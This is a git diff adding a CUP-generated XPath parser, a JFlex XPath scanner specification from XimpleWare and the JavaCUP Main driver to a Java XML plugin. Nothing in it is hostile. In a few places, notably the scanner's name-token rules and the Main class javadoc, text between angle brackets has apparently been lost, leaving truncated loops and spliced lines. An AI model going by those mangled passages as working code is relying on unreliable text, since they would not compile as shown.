CUP$parser$result = new java_cup.runtime.Symbol(5/*EqualityExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 5: // AndExpr ::= AndExpr AND EqualityExpr + { + Expr RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(a, BinaryExpr.AND, ee); + CUP$parser$result = new java_cup.runtime.Symbol(6/*AndExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 4: // AndExpr ::= EqualityExpr + { + Expr RESULT = null; + int eeleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int eeright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr ee = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = ee; + CUP$parser$result = new java_cup.runtime.Symbol(6/*AndExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 3: // OrExpr ::= OrExpr OR AndExpr + { + Expr RESULT = null; + int oleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left; + int oright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).right; + Expr o = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-2)).value; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = new BinaryExpr(o,BinaryExpr.OR,a); + CUP$parser$result = new java_cup.runtime.Symbol(4/*OrExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-2)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 2: // OrExpr ::= AndExpr + { + Expr RESULT = null; + int aleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int aright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr a = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = a; + CUP$parser$result = new java_cup.runtime.Symbol(4/*OrExpr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 1: // $START ::= Expr EOF + { + Object RESULT = null; + int start_valleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left; + int start_valright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).right; + Expr start_val = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-1)).value; + RESULT = start_val; + CUP$parser$result = new java_cup.runtime.Symbol(0/*$START*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-1)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + /* ACCEPT */ + CUP$parser$parser.done_parsing(); + return CUP$parser$result; + + /*. . . . . . . . . . . . . . . . . . . .*/ + case 0: // Expr ::= OrExpr + { + Expr RESULT = null; + int oleft = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left; + int oright = ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right; + Expr o = (Expr)((java_cup.runtime.Symbol) CUP$parser$stack.elementAt(CUP$parser$top-0)).value; + RESULT = o; + CUP$parser$result = new java_cup.runtime.Symbol(3/*Expr*/, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).left, ((java_cup.runtime.Symbol)CUP$parser$stack.elementAt(CUP$parser$top-0)).right, RESULT); + } + return CUP$parser$result; + + /* . . . . . .*/ + default: + throw new Exception( + "Invalid action number found in internal parse table"); + + } + } +} + diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/scanner.flex b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/scanner.flex new file mode 100644 index 0000000..83a4947 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/xpath/scanner.flex @@ -0,0 +1,740 @@ +/* + * Copyright (C) 2002-2011 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + + +package com.ximpleware.xpath; +import java_cup.runtime.Symbol; +import com.ximpleware.parser.*; +import com.ximpleware.*; + +%% +%cup +%char +%unicode +%extends sym +%yylexthrow XPathParseException + +%{ + + private Symbol sym(int sym) { + return new Symbol(sym); + } + + private Symbol sym(int sym, Object val) { + return new Symbol(sym, val); + } + + int isName; + NameType name; + FuncName fname; + Ntest ntest; + AxisType at; + int len; + String literal; + Double number; + int colonPosition; + + public int getOffset(){ + return yychar; + } + + public String getArgument(char c, String input){ + int os1=input.indexOf(c), os2=input.lastIndexOf(c); + + return input.substring(os1+1, os2); + } + + /* public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + throw new XPathParseException("XPath Syntax error: "+cur_token); + }*/ + +%} +%init{ + isName = 1; + colonPosition = -1; +%init} + +ws = [ \t\r\n] +digits = [0-9]+ +nc = ([^\!-/:-@\[-\^ \n\r\t\|]|"#"|"&"|";"|"?"|_|"\\"|"^"|"%"|"-"|".") +nc2 = ([^\!-/:-@\[-\^ \n\r\t\|0-9]|"#"|"&"|";"|"?"|_|"\\"|"^"|"%"|".") + +%% +{ws}+ { /* eat white space */} + +"+" {isName = 1 ; return sym(ADD);} +- {isName = 1 ; return sym(SUB);} +"." {isName = 0 ; /*System.out.println(". returned ");*/ return sym(DOT);} +".." {isName = 0 ; return sym(DDOT);} +"@" {isName = 1 ; return sym(AT);} + +"," {isName = 1 ; return sym(COMMA);} +"(" {isName = 1 ; return sym(LP);} +")" {isName = 0 ; return sym(RP);} +"[" {isName = 1 ; /*System.out.println( "[ returned");*/ return sym(LB);} +"]" {isName = 0 ; return sym(RB);} +">" {isName = 1 ; return sym(GT);} +"<" {isName = 1 ; return sym(LT);} +">=" {isName = 1 ; return sym(GE);} +"<=" {isName = 1 ; return sym(LE);} +"=" {isName = 1 ; return sym(EQ);} +"!=" {isName = 1 ; return sym(NE);} +"$" {isName = 1; return sym(DOLLAR);} + +"*" {if (isName ==0){ + isName = 1; + //System.out.println("returned a MULT"); + return sym(MULT); + } + else { + isName = 0; + name = new NameType(); + name.qname = "*"; + return sym(NAME,name); + } + } + +"/" {isName = 1 ; + //System.out.println("SLASH returned "); + return sym(SLASH); + } + +"//" {isName = 1 ; + //System.out.println("DSLASH returned "); + return sym(DSLASH); + } + +div { if (isName == 0 ) { + isName = 1 ; + return sym(DIV); + } else { + isName = 0; + name = new NameType(); + name.qname = "div"; + return sym(NAME,name); + } + } + +mod { if (isName == 0) { + isName = 1 ; + return sym(MOD); + } else { + isName = 0; + name = new NameType(); + name.qname = "mod"; + //System.out.println("returned a NAME "+yytext()); + return sym(NAME,name); + } + } + +and { if (isName == 0) { + isName = 1 ; + return sym(AND); + } else { + isName = 0; + name = new NameType(); + name.qname = "add"; + return sym(NAME,name); + } + } + +or { if (isName == 0) { + isName = 1 ; + return sym(OR); + } else { + isName = 0; + name = new NameType(); + name.qname = "or"; + return sym(NAME,name); + } + } + +"|" {isName = 1 ; return sym(UNION) ; } + +last{ws}*"(" { isName = 1; + yypushback(1); + fname = new FuncName(); + fname.i = FuncName.LAST; + return sym(FNAME,fname); + } +position{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.POSITION; + fname = new FuncName(); + fname.i = FuncName.POSITION; + return sym(FNAME,fname); + } +count{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COUNT; + fname = new FuncName(); + fname.i = FuncName.COUNT; + return sym(FNAME,fname); + } +local-name{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME; + return sym(FNAME,fname); + } +namespace-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI; + return sym(FNAME,fname); + } +name{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAME; + fname = new FuncName(); + fname.i = FuncName.NAME; + return sym(FNAME,fname); + } + +string{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING; + fname = new FuncName(); + fname.i = FuncName.STRING; + return sym(FNAME,fname); + } + + +concat{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONCAT; + fname = new FuncName(); + fname.i = FuncName.CONCAT; + return sym(FNAME,fname); + } + +starts-with{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STARTS_WITH; + fname = new FuncName(); + fname.i = FuncName.STARTS_WITH; + return sym(FNAME,fname); + } + +contains{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CONTAINS; + fname = new FuncName(); + fname.i = FuncName.CONTAINS; + return sym(FNAME,fname); + } + +substring-before{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_BEFORE; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_BEFORE; + return sym(FNAME,fname); + } + +substring-after{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING_AFTER; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING_AFTER; + return sym(FNAME,fname); + } + +substring{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUBSTRING; + fname = new FuncName(); + fname.i = FuncName.SUBSTRING; + return sym(FNAME,fname); + } + +string-length{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.STRING_LENGTH; + fname = new FuncName(); + fname.i = FuncName.STRING_LENGTH; + return sym(FNAME,fname); + } + +normalize-space{ws}*"(" { isName =1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NORMALIZE_SPACE; + fname = new FuncName(); + fname.i = FuncName.NORMALIZE_SPACE; + return sym(FNAME,fname); + } + +translate{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRANSLATE; + fname = new FuncName(); + fname.i = FuncName.TRANSLATE; + return sym(FNAME,fname); + } + +abs{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ABS; + fname = new FuncName(); + fname.i = FuncName.ABS; + return sym(FNAME,fname); + } + +round-half-to-even{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_EVEN; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_EVEN; + return sym(FNAME,fname); + } + +round-half-to-odd{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND_HALF_TO_ODD; + fname = new FuncName(); + fname.i = FuncName.ROUND_HALF_TO_ODD; + return sym(FNAME,fname); + } + +code-points-to-string{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CODE_POINTS_TO_STRING; + fname = new FuncName(); + fname.i = FuncName.CODE_POINTS_TO_STRING; + return sym(FNAME,fname); + } + +compare{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.COMPARE; + fname = new FuncName(); + fname.i = FuncName.COMPARE; + return sym(FNAME,fname); + } + +upper-case{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.UPPER_CASE; + fname = new FuncName(); + fname.i = FuncName.UPPER_CASE; + return sym(FNAME,fname); + } + +lower-case{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOWER_CASE; + fname = new FuncName(); + fname.i = FuncName.LOWER_CASE; + return sym(FNAME,fname); + } + +ends-with{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENDS_WITH; + fname = new FuncName(); + fname.i = FuncName.ENDS_WITH; + return sym(FNAME,fname); + } + +QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.QNAME; + fname = new FuncName(); + fname.i = FuncName.QNAME; + return sym(FNAME,fname); + } + +local-name-from-QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.LOCAL_NAME_FROM_QNAME; + return sym(FNAME,fname); + } + +namespace-uri-from-QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FROM_QNAME; + return sym(FNAME,fname); + } + +namespace-uri-for-prefix{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + fname = new FuncName(); + fname.i = FuncName.NAMESPACE_URI_FOR_PREFIX; + return sym(FNAME,fname); + } + +resolve-QName{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.RESOLVE_QNAME; + fname = new FuncName(); + fname.i = FuncName.RESOLVE_QNAME; + return sym(FNAME,fname); + } + +iri-to-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.IRI_TO_URI; + fname = new FuncName(); + fname.i = FuncName.IRI_TO_URI; + return sym(FNAME,fname); + } + +escape-html-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ESCAPE_HTML_URI; + fname = new FuncName(); + fname.i = FuncName.ESCAPE_HTML_URI; + return sym(FNAME,fname); + } + +encode-for-uri{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ENCODE_FOR_URI; + fname = new FuncName(); + fname.i = FuncName.ENCODE_FOR_URI; + return sym(FNAME,fname); + } + +boolean{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.BOOLEAN; + fname = new FuncName(); + fname.i = FuncName.BOOLEAN; + return sym(FNAME,fname); + } + +not{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NOT; + fname = new FuncName(); + fname.i = FuncName.NOT; + return sym(FNAME,fname); + } + +true{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.TRUE; + fname = new FuncName(); + fname.i = FuncName.TRUE; + return sym(FNAME,fname); + } + +false{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.FALSE; + fname = new FuncName(); + fname.i = FuncName.FALSE; + return sym(FNAME,fname); + } + +lang{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.LANG; + fname = new FuncName(); + fname.i = FuncName.LANG; + return sym(FNAME,fname); + } + +number{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.NUMBER; + fname = new FuncName(); + fname.i = FuncName.NUMBER; + return sym(FNAME,fname); + } + +sum{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.SUM; + fname = new FuncName(); + fname.i = FuncName.SUM; + return sym(FNAME,fname); + } + +floor{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.FLOOR; + fname = new FuncName(); + fname.i = FuncName.FLOOR; + return sym(FNAME,fname); + } + +ceiling{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.CEILING; + fname = new FuncName(); + fname.i = FuncName.CEILING; + return sym(FNAME,fname); + } + +round{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND; + fname = new FuncName(); + fname.i = FuncName.ROUND; + return sym(FNAME,fname); + } + + +generate-id{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND; + fname = new FuncName(); + fname.i = FuncName.GENERATE_ID; + return sym(FNAME,fname); + } + +match-name{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND; + fname = new FuncName(); + fname.i = FuncName.MATCH_NAME; + return sym(FNAME,fname); + } + +match-local-name{ws}*"(" { isName = 1; + yypushback(1); + //yyparser.yylval.fname.i = FuncName.ROUND; + fname = new FuncName(); + fname.i = FuncName.MATCH_LOCAL_NAME; + return sym(FNAME,fname); + } + +\"[^\"]*\" | +'[^']*' { + isName = 0; + len = yytext().length(); + literal = yytext().substring(1, len-1); + return sym(LITERAL,literal); + } + +{digits}("."{digits}?)? | +"."{digits} { + isName = 0; + number = new Double(yytext()); + //System.out.println("number returned ==> "+ Double.parseDouble(yytext())); + return sym(NUMBER,number); + } + +text{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.TEXT; + ntest.arg = null; + return sym(NTEST,ntest); + } + +comment{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.COMMENT; + ntest.arg = null; + return sym(NTEST,ntest); + } + +node{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.NODE; + ntest.arg = null; + return sym(NTEST,ntest); + } + +processing-instruction{ws}*"("{ws}*'[^']*'{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('\'', yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + +processing-instruction{ws}*"("{ws}*\"[^\"]*\"{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = getArgument('"',yytext()); + //System.out.println(" !!!!!!!!!!!argument ==>" +ntest.arg); + return sym(NTEST,ntest); + } + +processing-instruction{ws}*"("{ws}*")" { + isName = 0; + ntest = new Ntest(); + ntest.i = Ntest.PROCESSING_INSTRUCTION; + ntest.arg = null; + //System.out.println(" !!!!!!!!!!!argument "); + return sym(NTEST,ntest); + } + + + +ancestor{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR; + return sym(AXISNAME,at); + } + +ancestor-or-self{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.ANCESTOR_OR_SELF; + return sym(AXISNAME,at); + } + + +attribute{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.ATTRIBUTE; + return sym(AXISNAME,at); + } + +child{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.CHILD; + return sym(AXISNAME,at); + } + +descendant{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT; + return sym(AXISNAME,at); + } + +descendant-or-self{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.DESCENDANT_OR_SELF; + return sym(AXISNAME,at); + } + +following{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING; + return sym(AXISNAME,at); + } + +following-sibling{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.FOLLOWING_SIBLING; + return sym(AXISNAME,at); + } + +namespace{ws}*:: { isName =1; + at = new AxisType(); + at.i = AxisType.NAMESPACE; + return sym(AXISNAME,at); + } + +parent{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.PARENT; + return sym(AXISNAME,at); + } + +preceding{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING; + return sym(AXISNAME,at); + } + +preceding-sibling{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.PRECEDING_SIBLING; + return sym(AXISNAME,at); + } + +self{ws}*:: { isName = 1; + at = new AxisType(); + at.i = AxisType.SELF; + //System.out.println("SELF:: returned"); + return sym(AXISNAME,at); + } + +{nc2}{nc}*:"*" { isName = 0; + len = yytext().length(); + name = new NameType(); + if (!XMLChar.isNCNameStartChar(yytext().charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i" + yytext()); + //if (yytext().charAt(0) =='-'){ + // throw new XPathParseException("Invalid char in name token:"+yytext()); + //} + + name.qname = new String(yytext()); + if (!XMLChar.isNCNameStartChar(name.qname.charAt(0))) + throw new XPathParseException("Invalid char in name token: "+yytext()+ "@position 0"); + + for(int i=1;i + *

  • Parse user supplied arguments and options. + *
  • Open output files. + *
  • Parse the specification from standard input. + *
  • Check for unused terminals, non-terminals, and productions. + *
  • Build the state machine, tables, etc. + *
  • Output the generated code. + *
  • Close output files. + *
  • Print a summary if requested. + * + * + * Options to the main program include:
    + *
    -package name + *
    specify package generated classes go in [default none] + *
    -parser name + *
    specify parser class name [default "parser"] + *
    -symbols name + *
    specify name for symbol constant class [default "sym"] + *
    -interface + *
    emit symbol constant interface, rather than class + *
    -nonterms + *
    put non terminals in symbol constant class + *
    -expect # + *
    number of conflicts expected/allowed [default 0] + *
    -compact_red + *
    compact tables by defaulting to most frequent reduce + *
    -nowarn + *
    don't warn about useless productions, etc. + *
    -nosummary + *
    don't print the usual summary of parse states, etc. + *
    -progress + *
    print messages to indicate progress of the system + *
    -time + *
    print time usage summary + *
    -dump_grammar + *
    produce a dump of the symbols and grammar + *
    -dump_states + *
    produce a dump of parse state machine + *
    -dump_tables + *
    produce a dump of the parse tables + *
    -dump + *
    produce a dump of all of the above + *
    -debug + *
    turn on debugging messages within JavaCup + *
    -nopositions + *
    don't generate the positions code + *
    -noscanner + *
    don't refer to java_cup.runtime.Scanner in the parser + * (for compatibility with old runtimes) + *
    -version + *
    print version information for JavaCUP and halt. + *
    + * + * @version last updated: 7/3/96 + * @author Frank Flannery + */ + +public class Main { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + /** Only constructor is private, so we do not allocate any instances of this + class. */ + private Main() { } + + /*-------------------------*/ + /* Options set by the user */ + /*-------------------------*/ + /** User option -- do we print progress messages. */ + protected static boolean print_progress = true; + /** User option -- do we produce a dump of the state machine */ + protected static boolean opt_dump_states = false; + /** User option -- do we produce a dump of the parse tables */ + protected static boolean opt_dump_tables = false; + /** User option -- do we produce a dump of the grammar */ + protected static boolean opt_dump_grammar = false; + /** User option -- do we show timing information as a part of the summary */ + protected static boolean opt_show_timing = false; + /** User option -- do we run produce extra debugging messages */ + protected static boolean opt_do_debug = false; + /** User option -- do we compact tables by making most common reduce the + default action */ + protected static boolean opt_compact_red = false; + /** User option -- should we include non terminal symbol numbers in the + symbol constant class. */ + protected static boolean include_non_terms = false; + /** User option -- do not print a summary. */ + protected static boolean no_summary = false; + /** User option -- number of conflicts to expect */ + protected static int expect_conflicts = 0; + + /* frankf added this 6/18/96 */ + /** User option -- should generator generate code for left/right values? */ + protected static boolean lr_values = true; + + /** User option -- should symbols be put in a class or an interface? [CSA]*/ + protected static boolean sym_interface = false; + + /** User option -- should generator suppress references to + * java_cup.runtime.Scanner for compatibility with old runtimes? */ + protected static boolean suppress_scanner = false; + + /*----------------------------------------------------------------------*/ + /* Timing data (not all of these time intervals are mutually exclusive) */ + /*----------------------------------------------------------------------*/ + /** Timing data -- when did we start */ + protected static long start_time = 0; + /** Timing data -- when did we end preliminaries */ + protected static long prelim_end = 0; + /** Timing data -- when did we end parsing */ + protected static long parse_end = 0; + /** Timing data -- when did we end checking */ + protected static long check_end = 0; + /** Timing data -- when did we end dumping */ + protected static long dump_end = 0; + /** Timing data -- when did we end state and table building */ + protected static long build_end = 0; + /** Timing data -- when did we end nullability calculation */ + protected static long nullability_end = 0; + /** Timing data -- when did we end first set calculation */ + protected static long first_end = 0; + /** Timing data -- when did we end state machine construction */ + protected static long machine_end = 0; + /** Timing data -- when did we end table construction */ + protected static long table_end = 0; + /** Timing data -- when did we end checking for non-reduced productions */ + protected static long reduce_check_end = 0; + /** Timing data -- when did we finish emitting code */ + protected static long emit_end = 0; + /** Timing data -- when were we completely done */ + protected static long final_time = 0; + + /* Additional timing information is also collected in emit */ + + /*-----------------------------------------------------------*/ + /*--- Main Program ------------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** The main driver for the system. + * @param argv an array of strings containing command line arguments. + */ + public static void main(String argv[]) + throws internal_error, java.io.IOException, java.lang.Exception + { + boolean did_output = false; + + start_time = System.currentTimeMillis(); + + /* process user options and arguments */ + parse_args(argv); + + /* frankf 6/18/96 + hackish, yes, but works */ + emit.set_lr_values(lr_values); + /* open output files */ + if (print_progress) System.err.println("Opening files..."); + /* use a buffered version of standard input */ + input_file = new BufferedInputStream(System.in); + + prelim_end = System.currentTimeMillis(); + + /* parse spec into internal data structures */ + if (print_progress) + System.err.println("Parsing specification from standard input..."); + parse_grammar_spec(); + + parse_end = System.currentTimeMillis(); + + /* don't proceed unless we are error free */ + if (lexer.error_count == 0) + { + /* check for unused bits */ + if (print_progress) System.err.println("Checking specification..."); + check_unused(); + + check_end = System.currentTimeMillis(); + + /* build the state machine and parse tables */ + if (print_progress) System.err.println("Building parse tables..."); + build_parser(); + + build_end = System.currentTimeMillis(); + + /* output the generated code, if # of conflicts permits */ + if (lexer.error_count != 0) { + // conflicts! don't emit code, don't dump tables. + opt_dump_tables = false; + } else { // everything's okay, emit parser. + if (print_progress) System.err.println("Writing parser..."); + open_files(); + emit_parser(); + did_output = true; + } + } + /* fix up the times to make the summary easier */ + emit_end = System.currentTimeMillis(); + + /* do requested dumps */ + if (opt_dump_grammar) dump_grammar(); + if (opt_dump_states) dump_machine(); + if (opt_dump_tables) dump_tables(); + + dump_end = System.currentTimeMillis(); + + /* close input/output files */ + if (print_progress) System.err.println("Closing files..."); + close_files(); + + /* produce a summary if desired */ + if (!no_summary) emit_summary(did_output); + + /* If there were errors during the run, + * exit with non-zero status (makefile-friendliness). --CSA */ + if (lexer.error_count != 0) + System.exit(100); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Print a "usage message" that described possible command line options, + * then exit. + * @param message a specific error message to preface the usage message by. + */ + protected static void usage(String message) + { + System.err.println(); + System.err.println(message); + System.err.println(); + System.err.println( +"Usage: " + version.program_name + " [options] [filename]\n" + +" and expects a specification file on standard input if no filename is given.\n" + +" Legal options include:\n" + +" -package name specify package generated classes go in [default none]\n" + +" -parser name specify parser class name [default \"parser\"]\n" + +" -symbols name specify name for symbol constant class [default \"sym\"]\n"+ +" -interface put symbols in an interface, rather than a class\n" + +" -nonterms put non terminals in symbol constant class\n" + +" -expect # number of conflicts expected/allowed [default 0]\n" + +" -compact_red compact tables by defaulting to most frequent reduce\n" + +" -nowarn don't warn about useless productions, etc.\n" + +" -nosummary don't print the usual summary of parse states, etc.\n" + +" -nopositions don't propagate the left and right token position values\n" + +" -noscanner don't refer to java_cup.runtime.Scanner\n" + +" -progress print messages to indicate progress of the system\n" + +" -time print time usage summary\n" + +" -dump_grammar produce a human readable dump of the symbols and grammar\n"+ +" -dump_states produce a dump of parse state machine\n"+ +" -dump_tables produce a dump of the parse tables\n"+ +" -dump produce a dump of all of the above\n"+ +" -version print the version information for CUP and exit\n" + ); + System.exit(1); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Parse command line options and arguments to set various 